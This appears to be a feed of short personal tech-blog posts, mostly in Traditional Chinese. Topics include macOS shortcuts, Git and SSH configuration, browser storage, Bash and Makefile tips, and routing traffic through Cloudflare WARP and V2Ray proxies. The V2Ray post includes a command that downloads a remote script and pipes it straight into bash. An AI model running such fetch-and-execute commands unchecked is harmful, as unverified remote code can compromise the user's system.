按 ~ 會開啟 Go To File 對話框並預填家目錄；按 / 則預填根目錄。
按 ⌘R 可在 Finder 顯示選取項目。

Mission Control / 視窗管理

視窗未啟用時，按住 Command 可操作它而不會讓它變成前景視窗。
按 Mission Control 功能鍵時按住 Control，只顯示目前應用程式的視窗；按住 Command 則顯示桌面。
按住 Option 雙擊視窗角落可把視窗擴展填滿螢幕。
Option 點擊可切換視窗並隱藏前一個應用程式；Command-Option 點擊可切換視窗並隱藏其他應用程式。
在 Command-Tab 切換器中，按上下箭頭（或數字鍵 1）可查看該應用程式的視窗。
在 Command-Tab 切換器中，按住 Option 切換到應用程式，可解除最小化該應用程式的所有視窗。
按 ⌘` 可在前景應用程式的視窗間循環切換。
按 ⌃F4 可在目前桌面空間的所有應用程式視窗間循環切換。
把視窗拖到螢幕頂部並向上推，可在 Mission Control 中選取該視窗。
按 ⌥⌘W，或按住 Option 點擊紅色關閉鍵，可關閉前景應用程式的所有視窗。
按 ⌥⌘M，或按住 Option 點擊黃色最小化鍵，可最小化前景應用程式的所有視窗。
按住 Option 點擊綠色縮放鍵可填滿螢幕，而不是進入全螢幕。
在系統設定中配置熱角時，按住 Control、Option、Command 或 Shift 可讓角落只在按住這些按鍵時才會觸發。
在觸控板上，用兩指輕點（不是點擊）Dock 上的應用程式圖示，可顯示該應用程式的所有視窗；也可在該圖示上使用 App Exposé 手勢。
調整視窗大小時按住 Option 可從中心縮放；按住 Shift 可鎖定長寬比。
雙擊視窗邊框可把該邊延伸填滿螢幕；按住 Option 雙擊則可同時延伸兩側。
在 Mission Control 中，對一組應用程式視窗向上捲動可展開到單一視窗；游標停在視窗上按空白鍵可放大。
在 Mission Control 中，Option 點擊另一個桌面空間可切換到該空間並保持 Mission Control 開啟。
在 Mission Control 中，拖曳視窗下方的應用程式圖示可將該應用程式的所有視窗移到另一個空間。
在 Mission Control 的應用程式視窗模式下，按 Tab 與 Shift-Tab 可切換應用程式。
視窗若在其他空間被最小化，按住 Command 再解除最小化可讓它回到目前空間。
按住 Option 解除最小化視窗，可同時解除最小化該應用程式的所有視窗。
若某應用在多個空間有視窗，重複點 Dock 圖示可在這些空間間切換。
若啟用切換桌面空間的快捷鍵，按住快捷鍵並拖曳視窗可把視窗移到該空間。
在幕前調度中，按住 Shift 點擊視窗可將其加入目前舞台，而不是取代。

功能鍵

調整音量或亮度時按住 Shift 與 Option 可做更細微的調整。
調整亮度時按住 Option 可快速開啟顯示器設定；調整音量時按住 Option 可快速開啟聲音設定。
調整音量時按住 Shift 可預覽音量。
連接外接螢幕時，調整亮度時按住 Control 可調整非目前顯示器的亮度。
按住 Mission Control 功能鍵不放，鬆開時會自動退出 Mission Control。

選單列 / 通知中心

按住 Option 開啟 Wi-Fi 與藍牙選單可顯示更多選項。
拖曳選單列圖示時按住 Command 可改變位置。
從控制中心拖曳圖示到選單列可新增選單列項目。
Option 點擊選單列的日期時間可切換請勿打擾。
右鍵點擊小工具可變更大小。
在觸控板上，用兩指橫向滑過通知可將其移除。

Finder

複製檔案後按 ⌥⌘V 可移動檔案而非貼上副本。
選取多個檔案時按 ⌃⌘N 可建立包含這些項目的新資料夾。
按 Tab 與 Shift-Tab 可依字母順序瀏覽檔案，無視目前排序方式（僅限圖示與列表檢視）。
按住 Option 啟動 Quick Look 可直接進入全螢幕。
以多個檔案開啟 Quick Look 後，按 ⌘⏎ 可顯示所有項目的格狀檢視，用方向鍵選取並按 Return 聚焦。
在 Quick Look 中，右鍵點擊「Open with」可選擇不同的開啟應用程式。
在欄位檢視中，按住 Option 拖曳欄位寬度可同時調整所有欄位。
在欄位檢視中，雙擊欄位分隔線可自動調整該欄寬度；按住 Option 雙擊可自動調整所有欄位。
在欄位檢視中，點擊資料夾底部的空白區可回到上一層資料夾。
在欄位檢視中，當你位於深層目錄時，按 Shift-Tab 與 Tab 可在不丟失路徑的情況下切換父層目錄。
拖曳檔案時按住 Option 可建立副本，按住 Command 與 Option 則會建立捷徑。
在列表檢視中，按 ⌘+ 與 ⌘- 可放大或縮小列高。
在列表檢視中，按 ⌥↑ 與 ⌥↓ 可選取最上或最下的項目。
在列表檢視中，按左右箭頭可折疊或展開目錄；選取檔案時按左鍵可回到父層目錄。
按 ⌘I 可開啟目前檔案的檢查器；按 ⌥⌘I 則開啟會隨選取變化的浮動檢查器。
按 ⌥⌘C 可複製目前選取檔案的完整路徑。
按 ⇧⌘. 可切換顯示隱藏檔案。
按 ⌥⌘⌫ 可立即刪除檔案而不送進垃圾桶。
拖曳資料夾到另一個資料夾上時按住 Option 可合併資料夾。
複製新圖示後，開啟檢查器（⌘I），選取左上角資料夾圖示並按 ⌘V 可設定自訂圖示。
將選取文字拖到 Finder 視窗，可快速建立文字剪貼並儲存（文字剪貼是無法編輯、且不需命名的文字檔）。
按 ⌥⌘O 可開啟所選檔案並自動關閉 Finder 視窗。
按 ⌥⇧⌘V 可貼上項目並保留檔案權限標記。
在圖示檢視中拖曳圖示時按住 Command 可對齊格線。
在 Finder Dock 圖示上按住 Option 右鍵並選擇 Relaunch 可重新啟動 Finder。
拖曳資料夾到新分頁按鈕（需已有多個分頁）可在新分頁開啟該資料夾。
按 ⌃⌘↑ 可在新視窗開啟父層資料夾。
若工具列被隱藏（⌥⌘T），Finder 會在新視窗開啟資料夾。
選取圖片後按 ⌘R 可順時針旋轉，按 ⌘L 可逆時針旋轉。

Dock

按 ⌥⌘D 可顯示或隱藏 Dock。
按 ⌃F3 將鍵盤焦點移到 Dock，再用左右箭頭選取應用程式，或輸入應用程式前幾個字母，按 Enter 開啟；按上箭頭可打開該應用程式的選單。
按住 Control 與 Shift 在 Dock 上移動滑鼠可暫時開啟放大效果。
拖曳 Dock 的縮放把手時按住 Shift 可快速把 Dock 移到不同螢幕邊緣。
調整 Dock 大小時按住 Option 可用 16 點的倍數縮放。
按住 Option 與 Command 點擊正在執行的 Dock 圖示，可隱藏其他應用程式。
將檔案拖到 Dock 上的應用程式圖示可用指定應用程式開啟；若預設不支援該檔案類型，拖曳時按住 Option 與 Command 可強制開啟。
Dock 圖示持續彈跳時，把游標移到圖示上可停止彈跳。
右鍵點擊 Dock 圖示時按住 Control 與 Command 可只顯示預設系統選單項目。
按住 Option 與 Command 點擊 Dock 中的資料夾可在新的 Finder 視窗開啟。
在堆疊中開啟多個項目時，按住 Option 點選可在背景開啟，堆疊不會關閉。
開啟堆疊後，把游標移到項目上並按空白鍵可用 Quick Look 預覽。
右鍵點擊 Launchpad 圖示可從行內選單開啟應用程式。
在 Launchpad 中按住 Option 可進入抖動模式，重新排列或刪除應用程式。
要把 AirDrop 加到 Dock，請在 Finder 前往 /System/Library/CoreServices/Finder.app/Contents/Applications，並把 AirDrop 圖示拖到 Dock。

Spotlight

按 ⌘B 可用目前的查詢搜尋網頁。
按 ⌘C 可複製所選檔案的完整路徑，或複製目前計算結果。
按 ⌘D 可用目前查詢開啟字典。
按 ⌘L 可跳到結果中的字典區塊（若存在）。
按 ⌘⏎ 或 ⌘R 可在 Finder 顯示所選檔案。
使用 name: 篩選只搜尋檔名。
使用 kind:folder 只搜尋資料夾名稱。
按住 Command 可顯示目前選取檔案的路徑。

Safari

分頁群組會以空間方式整理分頁；使用 ⌥⌘{↑,↓,←,→} 可在 2D 空間中瀏覽分頁。
播放影片時，右鍵點擊網址列或分頁上的喇叭圖示可進入子母畫面（PiP）。
關閉分頁時按住 Option 可關閉其他分頁，僅保留目前分頁。
點擊並按住返回鍵可查看近期瀏覽記錄；按住 Option 可顯示 URL 而非標題。
把選取文字拖到 Safari 的 Dock 圖示可快速搜尋網頁。
按 ⇧⌘T 可重新開啟最近關閉的分頁或視窗。
按住工具列的新分頁圖示可查看最近關閉的分頁。
在網址列開頭按空白鍵可變更搜尋引擎並查看近期網頁搜尋。
在 Spotlight 搜尋中加入 kind:bookmark 可搜尋 Safari 書籤與瀏覽記錄。
Shift 點擊連結可加入閱讀列表。
點擊並按住書籤列的書籤可編輯顯示標題。
Option 點擊重新整理圖示或按 ⌥⌘R 可強制重新載入目前網頁。
右鍵點擊網址列的閱讀器圖示，可讓目前網站的所有頁面自動開啟閱讀模式。
執行網頁搜尋並在同一分頁開啟結果後，按 ⌥⌘S 可回到搜尋結果頁。
按 ⇧⌘I 可建立包含目前頁面內容的新郵件。
在 History > Clear History 上按住 Option 可只清除瀏覽記錄並保留網站資料。
游標停在連結上按 ⌃⌘D 可顯示連結的行內預覽。

Mail

在左側欄以 Command 點擊多個信箱可同時檢視其郵件。
回覆或轉寄前先選取訊息中的部分文字，可只在新訊息中包含該段落。
將檔案拖到 Mail 的 Dock 圖示可建立新郵件並附上該檔案。
按 ⌥⇧⌘N 可建立新分頁。
在訊息結尾按空白鍵可前往下一封訊息；在訊息開頭按住 Shift 再按空白鍵可回到上一封訊息。
開始輸入寄件者、主旨或內文的前幾個字元可快速跳到該訊息。
按 ⌥⌘↑ 與 ⌥⌘↓ 可跳到最上或最下的訊息。
將重要郵件拖到 Finder 可保留額外備份。
若郵件退信，可在退信上使用 Message > Send Again 改寄到其他地址。
拖曳郵件到資料夾時按住 Command 可同時加入多個資料夾。
按 ⇧⌘C 可替郵件標記顏色。
把郵件拖到 Notes 或 Reminders 可新增連結。
回覆郵件時按 ⌘R 與 ⇧⌘R 可在回覆與回覆全部之間切換。
按 ⌥⌫ 可刪除郵件且不會自動開啟下一封。
Command 點擊目前選取的郵件可取消選取。
若郵件已被回覆，可點訊息列表中的回覆圖示在新視窗開啟回覆。
建立新信箱時，在名稱中加入斜線可建立巢狀信箱。
After performing a search, select a mailbox from the left sidebar to filter the search to that mailbox.
Hold Shift while launching Mail to reset the index.

Preview

Press ` to bring up a magnifier, and then press + and - to resize it.
In a PDF document, re-order the pages in the document by re-ordering the pages in the sidebar.
Merge two PDF documents by dragging pages from one document’s sidebar to the other document’s sidebar.
In the save dialog for an image, hold Option while opening the Format menu to access an extended list of formats.
Hold Option and the Space bar to activate the pan tool.
Hold Option while in text selection mode to switch to rectangular text selection.

Calendar

Hold Shift while dragging an event to set a more precise time instead of snapping to 15-minute intervals.
Click and hold the Accept button in a calendar invite to change which calendar the event is accepted to.
Hold Option while pressing the Accept button in a calendar invite to accept all events.
Hold Command while clicking any calendar’s checkbox in the left sidebar to show or hide all calendars.
Hold Command and Option while clicking a calendar’s checkbox to only show that calendar.
Add kind:event to Spotlight searches to search calendar events.
Resize the mini-calendar in the bottom-left to preview more months.
With an event selected, press ⌃⌥↑ and ⌃⌥↓ to adjust the time of the event. This also works with multiple events selected.
In Week view, press ⌥⌘← and ⌥⌘→ to shift the view by a single day.

Messages

Press ⌘R to directly reply to the latest message in the conversation. Press ⇧⌘R to reply to the latest thread in the conversation.
Press ⌘T to bring up the tapback selector for the latest message. Use the 1-6 number keys to select a reaction.
Press ⌘E to edit the latest sent message.
Press ⌥↑ and ⌥↓ in the message input field to cycle through previously sent messages.
Press ⌘1-9 to jump to a pinned conversation.
Right-click on a message and select Show Times to view exact timestamps for each message.
Right-click the Messages icon in the Dock to quickly view and jump to unread conversations.

Photos

Drag an item to the “My Albums” header section to quickly create an album with that item.
After adding an item to an album, use ⌃⌘A to add other items to that same album.
When editing an image, hold down the M key to compare the modifications to the original.
Hold Option while launching Photos to choose a different photo library to open.
Drag a photo from the Photos app into a Finder window to quickly export the photo, or into the Mail or Messages app to attach the photo.
When editing an image, double-click an adjustment slider to reset it.
When editing an image, hold Option while holding the pointer over an adjustment slider to extend the adjustment range.
Hold Option while clicking the rotate button to reverse the rotation direction.
Hold Shift while cropping a photo to maintain the current aspect ratio, and hold Option to crop from the center of the photo.

TextEdit

In rich text mode, press Option-Tab to insert an outlined list.
Press Option-Escape to autocomplete the current word.
Press ⌃⌥⌘P in the find text field (⌘F) to access special search tokens.
Hold Option while selecting text to make vertical text selections.
The select line dialog (⌘L) supports the following formats: 1-3 selects lines 1-3 in the document +2 selects the 2nd line below the cursor -2 selects the 2nd line above the cursor +2-4 selects 3 lines, starting from 2 lines below the cursor -2-4 selects 3 lines, starting from 2 lines above the cursor

Terminal

Press ⇧⌘A to select the output from the previous command.
Press ⌘L to clear the output from the previous command.
Press ⌃⌘V to paste and format text that is properly escaped for the shell.
Press ⌃T while a command is executing to view runtime statistics about the execution so far.
Press ⌘{↑,↓} to select the previous/next commands. Then press ⇧⌘A to select the output of the currently selected command.
Press ⇧⌘I to set a title for the current window and tab.
Drag a file or folder into a Terminal window to insert its full path. Alternatively, copy a file or folder in Finder and paste it in Terminal to insert its path.

Calculator

Press ⌘T to open a new window that keeps a running history of calculations.
Press ⌘R to enable Reverse Polish notation (RPN) mode.
Press p to insert pi.
Right-click the number display and select “Large Type” to view the current result in a large overlay window.
Use the Convert menu to perform various unit conversions.
In Programmer view (⌘3), click the individual binary bits to toggle between 0 and 1.

QuickTime Player

Grab a single frame from a video by pausing on the desired frame (using the Left and Right arrow keys to navigate individual frames) and pressing ⌘C.

Photo Booth

Hold Option while taking a picture to skip the countdown.
Hold Shift while taking a picture to disable the screen flash.
When choosing one of the distortion effects (on the third page), click and drag the cursor on the image preview to change the effects origin.

Git 核心開發者如何設定 Git

Fri, 07 Mar 2025 15:46:00 +0800

Git 核心開發者如何設定 Git

# clearly makes git better

[column]
 ui = auto
[branch]
 sort = -committerdate
[tag]
 sort = version:refname
[init]
 defaultBranch = main
[diff]
 algorithm = histogram
 colorMoved = plain
 mnemonicPrefix = true
 renames = true
[push]
 default = simple
 autoSetupRemote = true
 followTags = true
[fetch]
 prune = true
 pruneTags = true
 all = true

# why the hell not?

[help]
 autocorrect = prompt
[commit]
 verbose = true
[rerere]
 enabled = true
 autoupdate = true
[core]
 excludesfile = ~/.gitignore
[rebase]
 autoSquash = true
 autoStash = true
 updateRefs = true

# a matter of taste (uncomment if you dare)

[core]
 # fsmonitor = true
 # untrackedCache = true
[merge]
 # (just 'diff3' if git version < 2.3)
 # conflictstyle = zdiff3
[pull]
 # rebase = true

設定多個 GitHub 帳號的 SSH 金鑰

Tue, 11 Feb 2025 15:06:00 +0800

設定多個 GitHub 帳號的 SSH 金鑰

使用不同的 Host 值

Host github.com
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_ed25519

Host github-plnx
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_plnx_ed25519

# Instead of the actual URL
$ git clone git@github.com:planet-express/delivery_service.git

# Substitue in our custom Host value for the `github.com` part
$ git clone git@github-plnx:planet-express/delivery_service.git

自動替換 Host

[include]
 path = ~/.gitconfig_custom

# See custom `Host github-plnx` in ~/.ssh/config
[url "github-plnx:planet-express"]
 insteadOf = git@github.com:planet-express

我覺得好用的 iTerm2 功能

Sun, 09 Feb 2025 08:52:00 +0800

我覺得好用的 iTerm2 功能

顯示時間戳記 ==> ⌘+Shift+E
在下一個提示時提醒 ==> ⌘+Option+A
在提示之間跳轉 ==> ⌘+Shift+Down
逐行捲動快捷鍵 ==> ⌘+Up and ⌘+Down
用快捷鍵重新排列分頁 ==> Ctrl+Shift+B and Ctrl+Shift+F

GitLab CI 可以自動檢測程式碼品質！SonarQube 程式碼品質檢測怎麼做？

Thu, 06 Feb 2025 12:01:22 +0800

比 Ctrl+F 更聰明：直接連到網頁內容

Wed, 25 Dec 2024 08:45:00 +0800

比 Ctrl+F 更聰明：直接連到網頁內容

語法

https://example.com/page.html#:~:text=[prefix-,]textStart[,textEnd][,-suffix]

範例

https://developer.mozilla.org/en-US/docs/Web/URI/Fragment/Text_fragments#:~:text=without%20relying%20on%20the%20presence%20of%20IDs

終端機程式遵循的規則

Wed, 25 Dec 2024 08:45:00 +0800

終端機程式遵循的「規則」
規則 1：非互動程式應在按 Ctrl-C 時退出
規則 2：按 q 時，TUI 應退出
規則 3：在空白行上按 Ctrl-D 時，REPL 應退出
規則 4：不要使用超過 16 種顏色
規則 5：支援 readline 鍵綁定
- 規則 5.1：Ctrl-W 應刪除最後一個單字
規則 6：寫入管道時停用顏色
規則 7：- 表示 stdin/stdout

LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite

Fri, 29 Nov 2024 14:58:29 +0800

LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite

現代瀏覽器可用的 Storage API

Cookies

Cookies 會儲存小型的鍵值資料，主要用於工作階段管理、個人化與追蹤。Cookies 可以設定多種安全選項，例如存活時間或網域屬性，以便在多個子網域之間共用。

LocalStorage

LocalStorage 只適合儲存少量且需要跨 session 保存的資料，並且受限於 5MB 的容量上限。要儲存複雜資料，通常需要轉成字串，例如使用 JSON.stringify()。這個 API 不是非同步的，代表在操作時會阻塞你的 JavaScript 程序，因此執行重型操作可能會讓 UI 無法渲染。

IndexedDB

IndexedDB 是一個用於儲存大量結構化 JSON 資料的低階 API。雖然使用起來有些困難，但 IndexedDB 可以利用索引並支援非同步操作。它缺乏複雜查詢能力，只能迭代索引，更像是其他函式庫的底層基礎，而非完整的資料庫。

儲存容量限制

技術	上限
Cookie	4 KB
LocalStorage	每個來源 4 MB 到 10 MB
IndexedDB	取決於瀏覽器實作
OPFS	取決於可用的磁碟空間

效能比較

初始化時間

技術	時間（毫秒）
IndexedDB	46
OPFS 主執行緒	23
OPFS WebWorker	26.8
WASM SQLite（記憶體）	504
WASM SQLite（IndexedDB）	535

小型寫入延遲

技術	時間（毫秒）
Cookies	0.058
LocalStorage	0.017
IndexedDB	0.17
OPFS 主執行緒	1.46
OPFS WebWorker	1.54
WASM SQLite（記憶體）	0.17
WASM SQLite（IndexedDB）	3.17

小型讀取延遲

技術	時間（毫秒）
Cookies	0.132
LocalStorage	0.0052
IndexedDB	0.1
OPFS 主執行緒	1.28
OPFS WebWorker	1.41
WASM SQLite（記憶體）	0.45
WASM SQLite（IndexedDB）	2.93

我如何設定 Git 身分

Mon, 25 Nov 2024 17:35:35 +0800

我如何設定 Git 身分

includeIf

[includeIf "gitdir:~/code/**"]
path = ~/.config/git/personal
[includeIf "gitdir:~/work/**"]
path = ~/.config/git/work

hasconfig:remote.*.url:

[includeIf "hasconfig:remote.*.url:git@github.com:*/**"]
path = ~/.config/git/config-gh
[includeIf "hasconfig:remote.*.url:git@github.com:orgname/**"]
path = ~/.config/git/config-gh-org
[includeIf "hasconfig:remote.*.url:git@gitlab.com:*/**"]
path = ~/.config/git/config-gl
[includeIf "hasconfig:remote.*.url:git@git.sr.ht:*/**"]
path = ~/.config/git/config-srht

insteadOf

[url "gh-work:orgname"]
insteadOf = git@github.com:orgname

加速 Rust 編輯、建置、執行循環

Mon, 18 Nov 2024 09:10:54 +0800

加速 Rust 編輯、建置、執行循環

Mac 小眾軟體推薦與工作流程分享（2024）

Thu, 14 Nov 2024 09:52:00 +0800

Mac 小眾軟體推薦與工作流程分享（2024）

Objective-See：一個關於 Apple 裝置隱私與安全的開源專案組織

Wed, 13 Nov 2024 09:44:00 +0800

Objective-See：一個關於 Apple 裝置隱私與安全的開源專案組織

今天在找小工具時發現他們做了一堆 macOS 上的開源軟體，基本都是和隱私與安全相關。

KnockKnock：查看你的 Mac 上有哪些背景行程、守護行程、啟動項、核心擴充、登入項、瀏覽器外掛等等。能看到的比「Login Items」詳細得多（有的軟體會用其他方式自啟）。
LuLu：一個開源的 macOS 網路防火牆，可以讓你詳細控制每個軟體的網路連線（類似 Hands Off!）。
TaskExplorer：增強版的工作管理員，可以看到應用的簽名、開啟的檔案、網路連線等等，還可以根據 sha256 自動幫你搜尋 VirusTotal 的結果。
Do Not Disturb：可以阻止你的 Mac 被打擾（沒錯），當你的 Mac 被別人打開上蓋時可以發送警告、執行腳本、偵測裝置變化之類的。
BlockBlock：可以阻止背景的持久化安裝，RansomWhere 可以偵測檔案被加密的行為，還有一些雜七雜八的獨立工具。

https://objective-see.org

Advanced macOS Command-Line Tools

Wed, 13 Nov 2024 09:14:26 +0800

sips - image manipulation

sips -z <height> <width> <image> resizes the specified image, ignoring the previous aspect ratio.

sips -Z <size> <image> resizes the largest side of the specified image, preserving the aspect ratio.

sips -c <height> <width> <image> crops the specified image to the given dimensions (relative to the center of the original image).

sips -r <degrees> <image> rotates the image by the specified degrees.

工欲善其事，必先利其器 —— 我的家庭網路組網方案

Mon, 11 Nov 2024 09:25:57 +0800

工欲善其事，必先利其器 —— 我的家庭網路組網方案

將 Cloudflare WARP 轉成 HTTP 代理

Wed, 06 Nov 2024 17:47:06 +0800

將 Cloudflare WARP 轉成 HTTP 代理

warp-cli proxy port 60606
warp-cli mode proxy

然而，Go 程式不支援 socks 代理，要手動加 transport 我可沒那個功夫去加。

好消息是，Go 預設會尊重環境變數 http_proxy。因此我們要想辦法把 socks 代理轉成 http 代理。

pproxy -v -l http://127.0.0.1:8118 -r socks5://127.0.0.1:60606

https_proxy=http://127.0.0.1:8118 http_proxy=http://127.0.0.1:8118 curl ipv4.win
curl: (52) Empty reply from server

# pproxy logs
Serving on ipv? 127.0.0.1:8118 by http
http 127.0.0.1:45012 -> socks5 127.0.0.1:60606 -> ipv4.win:80
Unknown remote protocol from 127.0.0.1

可能是 pproxy 的問題，那就用 gost。

gost -L http://127.0.0.1:8118 -F socks5://127.0.0.1:60606
2024/11/03 12:32:43 route.go:700: http://127.0.0.1:8118 on 127.0.0.1:8118
2024/11/03 12:32:46 http.go:162: [http] 127.0.0.1:33284 -> http://127.0.0.1:8118 -> ipv4.win:80
2024/11/03 12:32:46 http.go:257: [route] 127.0.0.1:33284 -> http://127.0.0.1:8118 -> 1@socks5://127.0.0.1:60606 -> ipv4.win:80
2024/11/03 12:32:46 http.go:280: [http] 127.0.0.1:33284 -> 127.0.0.1:8118 : unexpected EOF

那就用 Privoxy。

使用 Cloudflare 中轉 V2Ray 流量

Tue, 22 Oct 2024 09:24:08 +0800

安裝腳本

bash <(wget -qO- -o- https://git.io/v2ray.sh)

準備

我們現在就新增一筆 DNS 記錄，名稱：ai，IPv4 位址：寫你的 VPS IP，代理狀態必須關閉，雲朵圖示為灰色。

提示：你可以使用 v2ray ip 查看你的 VPS IP。

新增中轉配置

使用 v2ray add ws ai.233boy.com 新增一個 vmess-ws-tls 配置；記得把 ai.233boy.com 改成你的網域。

就是剛才新增記錄的那個網域，假設你的網域是 233boy.com，新增的名稱是 ai，網域就是 ai.233boy.com。

開啟中轉

在 Cloudflare 後台首頁，點你的網域進去，在左側選項選單選擇 SSL/TLS。

把 SSL/TLS 加密模式改成 完全。

接著在左側選項選單選擇 DNS。

編輯剛新增的記錄，把代理狀態打開，也就是 已代理，雲朵圖示為點亮狀態，然後儲存。

雲朵點亮後，流量就會走 Cloudflare 中轉。

提醒：雲朵點亮代表流量經由 Cloudflare 中轉；雲朵灰色代表直連，不走 Cloudflare 中轉。

取得真實客戶端 IP

有些人可能有特殊需求，因為套上 CF 後，預設在查看日誌時會顯示客戶端 IP 為 CF 的 IP。

進階 Shell 腳本技巧：用 Bash 自動化複雜任務

Wed, 25 Sep 2024 09:23:00 +0800

進階 Shell 腳本技巧：用 Bash 自動化複雜任務

使用內建指令

內建指令執行更快，因為不需要載入外部程序。

減少子殼層

子殼層會帶來效能成本。

# Inefficient
output=$(cat file.txt)

# Efficient
output=$(<file.txt)

使用陣列處理大量資料

處理大量資料時，陣列比多個變數更有效率，也更好管理。

# Inefficient
item1="apple"
item2="banana"
item3="cherry"

# Efficient
items=("apple" "banana" "cherry")
for item in "${items[@]}"; do
 echo "$item"
done

啟用 Noclobber

避免檔案被意外覆寫。

set -o noclobber

使用函式

函式可以封裝並重用程式碼，讓腳本更乾淨、重複更少。

高效的檔案操作

進行檔案操作時，使用更有效率的技巧以降低資源消耗。

# Inefficient
while read -r line; do
 echo "$line"
done < file.txt

# Efficient
while IFS= read -r line; do
 echo "$line"
done < file.txt

平行處理

像 xargs 和 GNU parallel 這類工具非常實用。

錯誤處理

健全的錯誤處理對建立可靠、易維護的腳本至關重要。

# Exit on Error: Using set -e ensures that your script exits immediately if any command fails, preventing cascading errors.
set -e

# Custom Error Messages: Implement custom error messages to provide more context when something goes wrong.
command1 || { echo "command1 failed"; exit 1; }

# Trap Signals: Use the `trap` command to catch and handle signals and errors gracefully.
trap 'echo "Error occurred"; cleanup; exit 1' ERR

function cleanup() {
 # Cleanup code
}

# Validate Inputs: Always validate user inputs and script arguments to prevent unexpected behavior.
if [[ -z "$1" ]]; then
 echo "Usage: $0 <argument>"
 exit 1
fi

# Logging: Implement logging to keep track of script execution and diagnose issues.
logfile="script.log"
exec > >(tee -i $logfile)
exec 2>&1

echo "Script started"

自動化複雜的系統管理工作

自動化備份
系統監控
使用者管理
自動更新
網路設定

Google 基礎設施

Tue, 24 Sep 2024 09:04:00 +0800

Google 十年五代網路架構

供應鏈攻擊

Fri, 13 Sep 2024 09:41:00 +0800

提高警惕，供應鏈攻擊就在你我身邊

github.com/siruspen/logrus 假
github.com/sirupsen/logrus 真

適合舊電腦的輕量級 Linux 發行版

Tue, 20 Aug 2024 12:38:00 +0800

lightweight-linux-distributions-for-your-pc

名稱	網站	說明
Puppy Linux	https://puppylinux-woof-ce.github.io/	這個小巧的系統不到 300MB，即使只有 512MB RAM 的機器也能順暢運行。
Bodhi Linux	https://www.bodhilinux.com/	系統需求只要 512MB RAM 與 500MHz 處理器。
Peppermint OS	https://peppermintos.com/	只需 512MB RAM 就能運行，所以你的 Pentium 4 或 Core 2 Duo 老筆電也能跑。雖然 Peppermint OS 對本機資源需求很低，但它與雲端與 web 應用整合良好，並且內建與 Dropbox、Google Drive 等服務的深度整合。
AntiX	https://antixlinux.com/	AntiX 的設計目標是能在只有 64MB RAM 與 Pentium II 處理器的系統上運行。
Lubuntu	https://lubuntu.me/	Lubuntu 在只有 512 MB RAM 與 1 GHz 處理器的電腦上也能順暢運行。

Go 文章

Tue, 20 Aug 2024 08:55:00 +0800

學會 gin 參數校驗之 validator 函式庫，看這一篇就夠了

字串約束

excludesall：不包含參數中任意的 UNICODE 字元，例如 excludesall=ab

excludesrune：不包含參數表示的 rune 字元，excludesrune=asong

startswith：以參數子字串為前綴，例如 startswith=hi

endswith：以參數子字串為後綴，例如 endswith=bye。

contains=：包含參數子字串，例如 contains=email

containsany：包含參數中任意的 UNICODE 字元，例如 containsany=ab

containsrune：包含參數表示的 rune 字元，例如 containsrune=asong

excludes：不包含參數子字串，例如 excludes=email

範圍約束

範圍約束的欄位型別分為三種：

對於數值，我們可以約束其值對於切片、陣列和 map，我們可以約束其長度對於字串，我們可以約束其長度

常用 tag 介紹：

ne：不等於參數值，例如 ne=5 gt：大於參數值，例如 gt=5 gte：大於等於參數值，例如 gte=50 lt：小於參數值，例如 lt=50 lte：小於等於參數值，例如 lte=50 oneof：只能是列舉出的值其中之一，這些值必須是數值或字串，以空格分隔；如果字串中有空格，請用單引號包起來，例如 oneof=male female。 eq：等於參數值，注意與 len 不同。對於字串，eq 約束字串本身的值，而 len 約束字串長度。例如 eq=10 len：等於參數值，例如 len=10 max：小於等於參數值，例如 max=10 min：大於等於參數值，例如 min=10

欄位約束

eqfield：定義欄位間相等約束，用於約束同一結構體中的欄位。例如：eqfield=Password eqcsfield：約束同一結構體中欄位等於另一個欄位（相對），確認密碼時可以使用，例如：eqcsfield=ConfirmPassword nefield：用來約束兩個欄位是否不同，確認兩種顏色是否一致時可以使用，例如：nefield=Color1 necsfield：約束兩個欄位是否不同（相對）

常用約束

unique：指定唯一性約束，不同型別處理不同：

在 Docker 環境使用 Traefik v3 與 MinIO 快速搭建私有化物件儲存服務

Tue, 06 Aug 2024 12:26:26 +0800

寫 Web 也可以用 Makefile：好好管理你的環境流程

Mon, 05 Aug 2024 17:21:24 +0800

注意：Makefile 的縮排應使用 Tab，否則會出現語法問題。

Makefile 的主要本體：Target

up:
 cp .env.example .env
 docker compose up -d workspace

stop:
 docker compose stop

zsh:
 docker compose exec workspace zsh

本例有三個 Target：up、stop、zsh。Makefile 預設將第一個 Target 視為 Goal(不能是點（dot）開頭的 Target)，是專案的最主要流程，可以直接用 make 執行。以本例來說，執行 make 和 make up 是一樣的結果。
但其實剛剛複製檔案的例子不是常見的 Make 用法。Make 的強項是在自動判斷有沒有必要執行每個 Target 的流程。例如我們常常將機敏資料放在 .env 中，若 .env 已經存在，就不應該再複製 .env.example 覆寫過去了。這時候我們可以把 .env 做成一個 Target：

up: .env
 docker compose up -d workspace

.env:
 cp .env.example .env

Target 名稱預設是被視為檔名的。Make 之所以稱為 make，就是想要「製作」出指定的 Target，當符合指定條件時（如檔案不存在）才會執行 Target 的內容。
- 以本例來說，我們執行 up Target 時，如果 .env 不存在，就會先執行 .env Target 以複製出 .env，接著才會啟動 workspace container。如果執行 up Target 時 .env 已經存在，就會略過 .env Target，直接啟動 workspace container。
- 同樣地，如果我們目錄中有「up」這個檔案， up Target 就不會被執行了。這時我們可以設定 Phony Target，告訴 Make 哪些 Target 不是檔案的名稱，而是單純流程的命名。寫法如下：

.PHONY: up stop zsh

來點變數

Make 當然也支援變數（Variable），與常見的 Unix 環境變數慣例相同，我們習慣用 SCREAMING_SNAKE_CASE 表示法（全大寫和底線的表示法）。並且在使用時以 $() 包裹變數名稱。

黑帽 Go

Thu, 01 Aug 2024 15:10:22 +0800

隱藏於 Cloudflare 的全球網路之中

Thu, 01 Aug 2024 14:35:24 +0800

隱藏於 Cloudflare 的全球網路之中

一種方式是使用 Cloudflare WARP，讓 WARP 以 proxy mode 執行，而不是接管全域流量。

warp-cli register
# WARP 監聽本機的 11111 埠
warp-cli set-proxy-port 11111

# WARP proxy mode
warp-cli set-mode proxy

# 永久啟用
warp-cli enable-always-on

https_proxy=socks5://127.0.0.1:11111 http_proxy=socks5://127.0.0.1:11111 go run main.go

另一種方式是使用 Cloudflare Workers，請求由 Workers 轉發。

export default {
 async fetch(request: Request): Promise {
 /**
 * 將 `remote` 替換為你想要轉發請求的主機
 */
